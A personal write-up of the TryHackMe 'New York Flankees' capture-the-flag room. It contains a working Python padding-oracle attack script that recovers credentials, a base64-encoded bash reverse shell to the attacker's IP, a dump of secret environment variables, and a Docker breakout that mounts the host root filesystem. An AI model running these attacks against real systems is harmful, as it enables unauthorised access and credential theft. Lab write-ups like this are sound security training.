New York Flankees Write-up - TryHackMe
Padding Oracle Attack, Code Injection and Docker Breakout.
New York Flankees
is a medium level boot2root challenge. I liked this challenge because that was my first time to perform an Padding Oracle Attack, though I learned about it on CryptoPals Challenges.
Enumeration
As always, I started with an Nmap scan.
1
2
3
4
5
6
7
8
└─$ nmap 10.10.133.62
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-26 09:15 EDT
Nmap scan report for 10.10.133.62 (10.10.133.62)
Host is up (0.092s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
8080/tcp open http-proxy
Web Server
Run a Gobuster scan to find hidden directories and I found login.html
and debug.html
.
Login page was not much useful because I didn’t have any credentials though I tried some common ones.
Moved on to debug.html
and saw that there was a hardcoded AES/CBC/PKCS encrypted payload with JavaScript.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function stefanTest1002() {
var xhr = new XMLHttpRequest();
var url = "http://localhost/api/debug";
// Submit the AES/CBC/PKCS payload to get an auth token
// TODO: Finish logic to return token
xhr.open("GET", url + "/39353661353931393932373334633638EA0DCC6E567F96414433DDF5DC29CDD5E418961C0504891F0DED96BA57BE8FCFF2642D7637186446142B2C95BCDEDCCB6D8D29BE4427F26D6C1B48471F810EF4", true);
xhr.onreadystatechange = function () {
if (xhr.readyState === 4 && xhr.status === 200) {
console.log("Response: ", xhr.responseText);
} else {
console.error("Failed to send request.");
}
};
xhr.send();
}
I tried to decode the payload using CyberChef and other tools but it was essentially encrypted with a key that I didn’t have.
Padding Oracle Attack
Normally, the request’s itself was enough to authenticate the user but the developer has not implemented the logic to return the token yet. So when the request is sent, the server just informs the user that the request was successful.
1
2
└─$ curl http://10.10.133.62:8080/api/debug/39353661353931393932373334633638EA0DCC6E567F96414433DDF5DC29CDD5E418961C0504891F0DED96BA57BE8FCFF2642D7637186446142B2C95BCDEDCCB6D8D29BE4427F26D6C1B48471F810EF4
Custom authentication success
I changed the payload and sent it again:
1
2
└─$ curl http://10.10.133.62:8080/api/debug/111111111111111
Decryption error
This was a gauge that we may perform a Padding Oracle Attack. To learn about more about this attack, you can check Wikipedia Page here.
Some people use tools like PadBuster
but I prefer to write my own script. It’s a bit of messy but works for me. Used asyncio
and aiohttp
to send requests concurrently, which reduced the time to decrypt the payload.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from Crypto.Util.Padding import unpad
import aiohttp, asyncio
URL = "http://10.10.133.62:8080"
burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0", "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br", "Origin": "http://10.10.133.62:8080", "Connection": "close", "Referer": "http://10.10.133.62:8080/", "Sec-Fetch-Dest": "empty", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Site": "cross-site"}
async def sendReq(session:aiohttp.ClientSession, url):
try:
async with session.get(url) as resp:
return resp.status == 200
except:
return False
async def scan(KNOWN:list,secondCipherText:bytes):
URLS = []
for i in range(256):
pl = (15 - len(KNOWN))*b"A" + bytes([i]) + bytes(KNOWN)
sendThis = pl + secondCipherText
burp0_url = f"{URL}/api/debug/{sendThis.hex()}"
URLS.append(burp0_url)
async with aiohttp.ClientSession( headers=burp0_headers) as session:
tasks = []
for url in URLS:
tasks.append(asyncio.ensure_future(sendReq(session, url)))
results = await asyncio.gather(*tasks)
for i in range(len(results)):
if results[i] == True:
return i
async def bruteforce( C1:bytes, C2:bytes):
known = [] #known list contains intermediate state bytes, which play cruical role in decryption process. It contains only ints.
decrypted_message = b""
for attackByte in range(15,-1,-1):
pl_prime = 16-attackByte #aim padding, 1 , 2, 3, 4 ...
temp_known = [i ^ (len(known) + 1) for i in known]
cl_prime = await scan(temp_known,C2)
known.insert(0,cl_prime ^ pl_prime)
decrypted_message += bytes([(pl_prime^cl_prime^C1[attackByte])])
return decrypted_message
async def oracleAttack(encrypted:bytes,iv : bytes = None): # just use this for 2 block ciphertexts
DECRYPTED_MESSAGE = b""
r = len (encrypted)
while(r > 16):
C1 = encrypted[r-32:r-16]
C2 = encrypted[r-16:r]
DECRYPTED_MESSAGE += await bruteforce(C1, C2)
r-=16
if iv: #iv makes it possible to decrypt the first block.
C1 = iv
C2 = encrypted[:16]
DECRYPTED_MESSAGE += await bruteforce( C1, C2)
return DECRYPTED_MESSAGE
if __name__ == "__main__":
encrypted = bytes.fromhex("39353661353931393932373334633638EA0DCC6E567F96414433DDF5DC29CDD5E418961C0504891F0DED96BA57BE8FCFF2642D7637186446142B2C95BCDEDCCB6D8D29BE4427F26D6C1B48471F810EF4")
iv = b'956a591992734c68' # iv is the first block of the ciphertext in this case.
encrypted = encrypted[16:]
decrypted =asyncio.run( oracleAttack(encrypted,iv) )
decrypted = unpad(decrypted[::-1],16)
print(decrypted)
And the output was:
1
2
└─$ python3 oracle_padding_attack.py
b'stefan1197:ebb2B76@62#f??7cA6B76@6!@62#f6dacd2599'
Code Execution
Using the credentials, I logged in and found a page where I can execute commands. (/exec.html)
I tried to execute some commands. Prepared a reverse shell as a base64 encoded string and copied it to the remote server’s /tmp
directory.
1
2
└─$ echo "bash -c 'bash -i >& /dev/tcp/10.14.84.35/12345 0>&1'" | base64
YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xNC44NC4zNS8xMjM0NSAwPiYxJwo=
echo "YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xNC44NC4zNS8xMjM0NSAwPiYxJwo=" | base64 -d > /tmp/shell.sh
chmod +x /tmp/shell.sh
./tmp/shell.sh
I need to execute those command consecutively because the server did not allow me to execute multiple commands. I lost some time just because of this.
Started a listener and executed the shell script.
1
2
3
4
└─$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.14.84.35] from (UNKNOWN) [10.10.133.62] 36034
root@02e849f307cc:/#
That was a Docker container. I checked env
variables and found the docker flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
connect to [10.14.84.35] from (UNKNOWN) [10.10.133.62] 36034
root@02e849f307cc:/# env
env
HOSTNAME=02e849f307cc
JAVA_HOME=/usr/local/openjdk-11
PWD=/
CTF_USERNAME=stefan1197
HOME=/root
LANG=C.UTF-8
CTF_DOCKER_FLAG=THM{342878cd14051bd787352ee73c75381b1803491e4e5ac729a91a03e3c889c2bf}
CTF_RESOURCES=/app/src/resources
CTF_ENCRYPTION_IV=956a591992734c68
SHLVL=2
CTF_ENCRYPTION_KEY=2d3981f51f18b0b9568521bb39f06e5b
PATH=/usr/local/openjdk-11/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
CTF_ADMIN_PANEL_FLAG=THM{a4113536187c6e84637a1ee2ec5359eca17bbbd1b2629b23dbfd3b4ce2f30604}
CTF_PASSWORD=ebb2B76@62#f??7cA6B76@6!@62#f6dacd2599
JAVA_VERSION=11.0.16
_=/usr/bin/env
Docker Breakout
Interestingly, I could run docker
commands.
1
2
3
root@02e849f307cc:/# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
02e849f307cc padding-oracle-app_web "java -jar /app/ktor…" 2 months ago Up 2 hours 0.0.0.0:8080->8080/tcp, :::8080->8080/tcp padding-oracle-app_web_1
This container was the container that I was in. So I created a new container to escape from the current one.
1
2
3
4
5
6
7
8
9
10
11
root@02e849f307cc:/# docker images
docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
padding-oracle-app_web latest cd6261dd9dda 2 months ago 1.01GB
<none> <none> 4187efabd0a5 2 months ago 704MB
gradle 7-jdk11 d5954e1d9fa4 2 months ago 687MB
openjdk 11 47a932d998b7 24 months ago 654MB
root@02e849f307cc:/# docker run -v /:/mnt --rm -it 4187efabd0a5 chroot /mnt sh
# ls
bin dev flag.txt lib lib64 lost+found mnt proc run snap sys usr
boot etc home lib32 libx32 media opt root sbin srv tmp var
Final flag:
1
2
# cat flag.txt
THM{b3653cb04abf4a5b9c7a77ec52f550e73416b6e61015b8014fff9831a7eb61ce}
Conclusion
New York Flankees
was a decent challenge. Especially the Padding Oracle Attack was a good practice. Feel free to reach out to me if you have any questions or suggestions from Twitter @sarperavci.